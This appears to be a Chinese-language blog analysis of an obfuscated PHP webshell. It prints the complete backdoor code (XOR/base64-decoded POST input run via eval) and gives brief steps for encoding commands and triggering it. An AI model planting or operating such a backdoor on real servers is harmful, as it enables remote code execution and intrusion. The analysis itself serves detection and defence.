🐎
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| <?php session_start(); @set_time_limit(0); @error_reporting(0); function E($D,$K){ for($i=0;$i<strlen($D);$i++) { $D[$i] = $D[$i]^$K[$i+1&15]; } return $D; } function Q($D){ return base64_encode($D); } function O($D){ return base64_decode($D); } $P='360'; $V='payload'; $T='3c6e0b8a9c15224a'; if (isset($_POST[$P])){ $F=O(E(O($_POST[$P]),$T)); if (isset($_SESSION[$V])){ $L=$_SESSION[$V]; $A=explode('|',$L); class C{public function nvoke($p) {eval($p."");}} $R=new C(); $R->nvoke($A[0]); echo substr(md5($P.$T),0,16); echo Q(E(@run($F),$T)); echo substr(md5($P.$T),16); }else{ $_SESSION[$V]=$F; } }
|
检测

分析
加密函数
首先定义了函数 E :
1 2 3 4 5 6
| function E($D,$K){ for($i=0;$i<strlen($D);$i++) { $D[$i] = $D[$i]^$K[$i+1&15]; } return $D; }
|
可以看出,是用于异或加密,将 $D 的 $i 位和 $K 的 $i+1&15 位进行异或 ,由于php中运算优先级 + 大于 &,因此 $i+1&15 的值在 [0,15] ,最后返回加密过的数组 $D。
关键逻辑
然后到了关键逻辑部分。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| $P='360'; $V='payload'; $T='3c6e0b8a9c15224a'; if (isset($_POST[$P])){ $F=O(E(O($_POST[$P]),$T)); if (isset($_SESSION[$V])){ $L=$_SESSION[$V]; $A=explode('|',$L); class C{public function nvoke($p) {eval($p."");}} $R=new C(); $R->nvoke($A[0]); echo substr(md5($P.$T),0,16); echo Q(E(@run($F),$T)); echo substr(md5($P.$T),16); }else{ $_SESSION[$V]=$F; } }
|
从POST取 360 的值, BASE64 解码, 然后异或加密,最后再 BASE64 解码一遍,得到了 $F ,这个是要执行的代码。
新设定cookie中 PHPSESSID 的值,初次访问会将 $F 的值给当前session的 $_SESSION[$V] ,第二次访问就会从 $_SESSION[$V] 取 到代码,以分割符 | 分割为数组 $A ,中间还定义了 Class C ,后面用于执行 $A[0] 的代码。
最后输出 $P.$T 的md5摘要的前16位 + Q(E(@run($F),$T)) + 摘要的后16位。 这个 Q(E(@run($F),$T)) 我不太理解,调试也没通,如果有人看见这文章,求讲解🧐。
使用
首先加密要执行的代码。
1
| Q(E(Q('phpinfo();'),$T))
|
然后放入post,设置 cookie 的 PHPSESSID 。

然后执行两遍,第二遍就能看到效果了。要执行别的命令需要换 PHPSESSID 。